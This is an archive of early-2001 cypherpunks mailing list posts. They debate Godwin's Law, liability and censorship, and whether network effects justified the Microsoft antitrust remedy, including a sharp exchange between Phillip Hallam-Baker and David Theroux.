    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Wed, 28 Feb 2001 17:36:14 -0500
From: steven moore <stevmoore at EarthLink.Net>
Reply-To: cypherpunks at ssz.com
To: cypherpunks at toad.com
Subject: CDR: disconnect

somehow my e-mail address got linked to yours and I'm receiving dozens of (unwanted) messages daily addressed to your e-mail. Any idea how I can get disconnected from your address? (I'm a computer novice.)
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From reeza at flex.com  Wed Feb 28 21:47:08 2001
From: reeza at flex.com (Reese)
Date: Wed, 28 Feb 2001 19:47:08 -1000
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On
  Flawed Theory,  Not Facts
In-Reply-To: <5.0.2.1.0.20010227231001.01f1fc98@shell11.ba.best.com>
References: <Pine.A32.3.95.1010227231650.38744D-100000@bard.edu>
 <Pine.LNX.3.96.1010227215918.5925q-100000@einstein.ssz.com>
Message-ID: <4.3.2.7.2.20010228194400.00c4d780@flex.com>


At 11:12 PM 2/27/01 -0800, James A. Donald wrote:
 >At 11:23 PM 2/27/2001 -0500, David Stultz wrote:
 > > Isn't there some sort of rule where at the first mention of "Hitler"
 > > or "Nazi", it's the end of the thread?
 >
 >It appears to me that this rule is most commonly invoked by those whose
 >ideology and program has a marked resemblance to Nazism, and derives from
 >Nazi philosophers.

I don't think Godwin would agree.  Godwin's Law is a natural law of Usenet
named after Mike Godwin (godwin at eff.org) concerning Usenet "discussions".
It reads, according to the Jargon File: As a Usenet discussion grows longer,
the probability of a comparison involving Nazis or Hitler approaches one.

Claims that it is a debate-ender are add-ons.

Reese




From lvild at usa.net  Wed Feb 28 20:09:58 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 28 Feb 2001 20:09:58 PST
Subject: [Re: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory,  Not Facts]
Message-ID: <20010301040958.13313.qmail@nwcst281.netaddress.usa.net>


It's all in the timing.
If the censors are the last to judge,
they self proclaim the right to punish
or take corrective action.

So justice is held in a pyramid scheme
where those not fortunate or not able to be
on top are by definition the only liable to
be judged by terrestrial powers.

The odd thing about this is judgments
are punitive in nature, so those at the bottom
slip further down; distancing the judging party
from the judged. Kind of a reinforcing cycle.

Can you think of mechanisms to trigger this cycle Jim?



Jim Choate <ravage at ssz.com> wrote:
> 
> 
> On 27 Feb 2001, LUIS VILDOSOLA wrote:
> 
> > Your last paragraph is a little too complicated for me Jim,
> > I'm interested in what you have to say but please break it
> > down for me.
> 
> Somebody does something. As a consequence another party is considered to
> have contributed to the first persons act, without actually participating
> in the act.
> 
> So, if the first person is not fully responsible, why is the second
> party fully responsible? How do you test this?
> 
> If a party whose actions contribute is responsible for the consequences
> then isn't the censor themselves, since they take an active role, also
> responsible?
> 
> Doesn't this put a party in the defence in the role of presecutor and
> judge? That seems to be a considerable conflict of interest.
> 
>     ____________________________________________________________________
> 
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
> 
>                                            "Stranger Suns"
>                                            George Zebrowski
> 
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From ravage at ssz.com  Wed Feb 28 19:23:29 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 28 Feb 2001 21:23:29 -0600 (CST)
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory,  Not Facts
In-Reply-To: <20010228043842.944.qmail@wwcst269.netaddress.usa.net>
Message-ID: <Pine.LNX.3.96.1010228211859.5925T-100000@einstein.ssz.com>



On 27 Feb 2001, LUIS VILDOSOLA wrote:

> Your last paragraph is a little too complicated for me Jim,
> I'm interested in what you have to say but please break it
> down for me.

Somebody does something. As a consequence another party is considered to
have contributed to the first persons act, without actually participating
in the act.

So, if the first person is not fully responsible, why is the second
party fully responsible? How do you test this?

If a party whose actions contribute is responsible for the consequences
then isn't the censor themselves, since they take an active role, also
responsible?

Doesn't this put a party in the defence in the role of presecutor and
judge? That seems to be a considerable conflict of interest.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at ssz.com  Wed Feb 28 19:41:06 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 28 Feb 2001 21:41:06 -0600 (CST)
Subject: Confusion about Free Speech - polycentric
In-Reply-To: <NEBBJHBKILFDJEFIABHPIECNCEAA.aimee.farr@pobox.com>
Message-ID: <Pine.LNX.3.96.1010228213709.5925W-100000@einstein.ssz.com>



On Wed, 28 Feb 2001, Aimee Farr wrote:

> Polycentric law is older than the law itself. The Muslims and the Christians
> used to trade using the Maghribi traders.

I forgot to mention in my earlier reply that the Maghribi themselves were
Jewish. It's worth noting that all three religions rely on the same basic
texts, just selected and ordered differently. The major distinction
between them is how to order and interpret, not fundamental doctrine (ie
God, Satan, do good to your fellows, do various things to your enemies,
etc.).

It's really more a segregation made according to 'state' (ie major
religious interpretation) based upon economic pragmatism.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From hallam at ai.mit.edu  Wed Feb 28 19:46:55 2001
From: hallam at ai.mit.edu (Phillip Hallam-Baker)
Date: Wed, 28 Feb 2001 22:46:55 -0500
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On Flawed Theory, Not Facts
In-Reply-To: <Pine.SOL.3.91.1010227110823.22992A-100000@alumnus>
Message-ID: <001a01c0a202$435126c0$0600a8c0@ne.mediaone.net>





> Microsoft won because of superior reviews? Come on, how stupid do you
> think we are?  So if a company pays for glowing reviews that would be
> okay?

Matthew's argument is that 'network effects' do not exist, based on a
tendentious piece of propaganda pushed by a right wing crank tank. The crank
tank is attempting to proove that the free market is perfect, unsullied by
the possibility of monopoly that obviously ignorant writers such as Adam
Smith wrote at great length about.

Hence the anecdotes such as QWERTY, Betamax are attacked as if they were the
best evidence, the sole evidence even for network effects. This is
historical revisionism in the service of dogmatic ideology.

Positive feedback exists, get over it.


>Obviously they have never tried to sell a product.  It's very
> dificult to get consideration such that you could prove the technical
> merits when there is a large existing supplier.

That is only a weak network effect. People buy from Amazon because they have
a well known brand name, have established a customer reputation etc. But
there is no intrinsic advantage buying from a large online bookseller than a
medium sized one.

There is a big advantage having a VHS video over Betamax however. If you
have VHS you can rent movies from stores, you can send tapes to friends who
have equipment to play it. The fact that a modern day VHS recorder is
technicaly superior to any Betamax machine made is irrelevant. At the time
the standard was set Sony and Betamax had the clearly superior technology.


A network effect exists when there is an intrinsic advantage to join the
bigger network. Operating systems have been understood to have strong
network effects since the 1950s. My company only supports one version of
UNIX for certain products because the cost of QA on each O/S variant is
significant. If we were choosing the technically best O/S platform we would
probably look at of the stripped down, hardened BSD variants, but we choose
the platform that most of our customers are already familliar with -
Solaris.

When I wrote video-games for a living I wrote for the Sinclair ZX Spectrum
with a market of several million users, not the vastly more sophisticated
BBC computer - even though the spectrums would die after about 100 hours use
and need replacement. I would typically replace a spectrum three or four
times within the guarantee period. Writing a game for the bigger market gave
bigger returns. Customers bought the machines supported by the most games.


Network effects are the alpha and the omega of Internet business strategy.

Ironically despite paying for the tendentious propaganda Microsoft appears
to be benefitting from the argument that network effects and 'tipping'
explain the emergence of a single operating system.

I don't know if the DoJ should interpret recent events in Seatle as a divine
attempt to breakup Microsoft. If so it is really time for the DoJ to give up
since it evidently failed.

		Phill




From DTheroux at independent.org  Wed Feb 28 23:19:12 2001
From: DTheroux at independent.org (David Theroux)
Date: Wed, 28 Feb 2001 23:19:12 -0800
Subject: Microsoft Trial Judge Based His Break-Up "Remedy" On 
Message-ID: <mailman.369.1576007500.31620.cypherpunks-legacy@lists.cpunks.org>

Flawed Theory, Not Facts
Cc: freematt at coil.com (Matthew Gaylor)

Dear Mr. Hallam-Baker,

If you knew anything about the academic debate over "path dependence" 
("network externality") theory you would know that the work by our 
research fellows, Stan Liebowitz and Stephen Margolis, has been 
appearing in the leading, scholarly, peer-reviewed, economics 
journals for the past ten years.  They have conclusively shown that 
"network externality" theory has absolutely no empirical evidence. 
And, no economists or any others have been able to show any errors in 
the devastating Liebowitz/Margolis analysis.  Indeed, hundreds 
academic economists have signed our Open Letter agreeing with this 
analysis.

As a belief system without any scientific evidence and with people 
such as yourself who accept this urban legend without proof, "path 
dependence" is a house of cards that is being used to advance the 
corporate welfare ambitions of various major business and government 
interests.  In so doing, the Microsoft case has nothing to do with 
consumer welfare and everything to do with corporate welfare.  (For 
your information, it was the acclaimed, New Left historian Gabriel 
Kolko who first showed how antitrust has been used repeatedly for 
corporatist purposes since its initial adoption.)

So, since you have obviously not even seen the Liebowitz/Margolis 
book, WINNERS, LOSERS & MICROSOFT: Competition and Antitrust in High 
Technology, and you apparently prefer to defend the blatant campaign 
for corporate welfare (antitrust protectionism), who indeed is the 
crank and right-winger here?

Incidentally, so you do not continue to embarrass yourself, I would 
suggest you first learn the difference between the terms, "network 
effects" and "network externalities."  Reading the book, WINNERS, 
LOSERS & MICROSOFT, would make an excellent way to do so.

David J. Theroux
Founder and President
The Independent Institute
100 Swan Way
Oakland, CA 94621-1428
510-632-1366 Phone
510-568-6040 Fax
DTheroux at independent.org
http://www.independent.org

>>  Microsoft won because of superior reviews? Come on, how stupid do you
>>  think we are?  So if a company pays for glowing reviews that would be
>>  okay?
>
>Matthew's argument is that 'network effects' do not exist, based on a
>tendentious piece of propaganda pushed by a right wing crank tank. The crank
>tank is attempting to proove that the free market is perfect, unsullied by
>the possibility of monopoly that obviously ignorant writers such as Adam
>Smith wrote at great length about.
>
>Hence the anecdotes such as QWERTY, Betamax are attacked as if they were the
>best evidence, the sole evidence even for network effects. This is
>historical revisionism in the service of dogmatic ideology.
>
>Positive feedback exists, get over it.
>
>>Obviously they have never tried to sell a product.  It's very
>>  dificult to get consideration such that you could prove the technical
>>  merits when there is a large existing supplier.
>
>That is only a weak network effect. People buy from Amazon because they have
>a well known brand name, have established a customer reputation etc. But
>there is no intrinsic advantage buying from a large online bookseller than a
>medium sized one.
>
>There is a big advantage having a VHS video over Betamax however. If you
>have VHS you can rent movies from stores, you can send tapes to friends who
>have equipment to play it. The fact that a modern day VHS recorder is
>technicaly superior to any Betamax machine made is irrelevant. At the time
>the standard was set Sony and Betamax had the clearly superior technology.
>
>
>A network effect exists when there is an intrinsic advantage to join the
>bigger network. Operating systems have been understood to have strong
>network effects since the 1950s. My company only supports one version of
>UNIX for certain products because the cost of QA on each O/S variant is
>significant. If we were choosing the technically best O/S platform we would
>probably look at of the stripped down, hardened BSD variants, but we choose
>the platform that most of our customers are already familliar with -
>Solaris.
>
>When I wrote video-games for a living I wrote for the Sinclair ZX Spectrum
>with a market of several million users, not the vastly more sophisticated
>BBC computer - even though the spectrums would die after about 100 hours use
>and need replacement. I would typically replace a spectrum three or four
>times within the guarantee period. Writing a game for the bigger market gave
>bigger returns. Customers bought the machines supported by the most games.
>
>
>Network effects are the alpha and the omega of Internet business strategy.
>
>Ironically despite paying for the tendentious propaganda Microsoft appears
>to be benefitting from the argument that network effects and 'tipping'
>explain the emergence of a single operating system.
>
>I don't know if the DoJ should interpret recent events in Seatle as a divine
>attempt to breakup Microsoft. If so it is really time for the DoJ to give up
>since it evidently failed.
>
>		Phill

-- 
David J. Theroux
Founder and President
The Independent Institute
100 Swan Way
Oakland, CA 94621-1428
510-632-1366 Phone
510-568-6040 Fax
DTheroux at independent.org
http://www.independent.org


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From nobody at hyperreal.pl  Wed Feb 28 19:30:38 2001
From: nobody at hyperreal.pl (Anonymous)
Date: 1 Mar 2001 03:30:38 -0000
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From nobody at dizum.com  Wed Feb 28 18:40:15 2001
From: nobody at dizum.com (Nomen Nescio)
Date: Thu,  1 Mar 2001 03:40:15 +0100 (CET)
Subject: You have no idea
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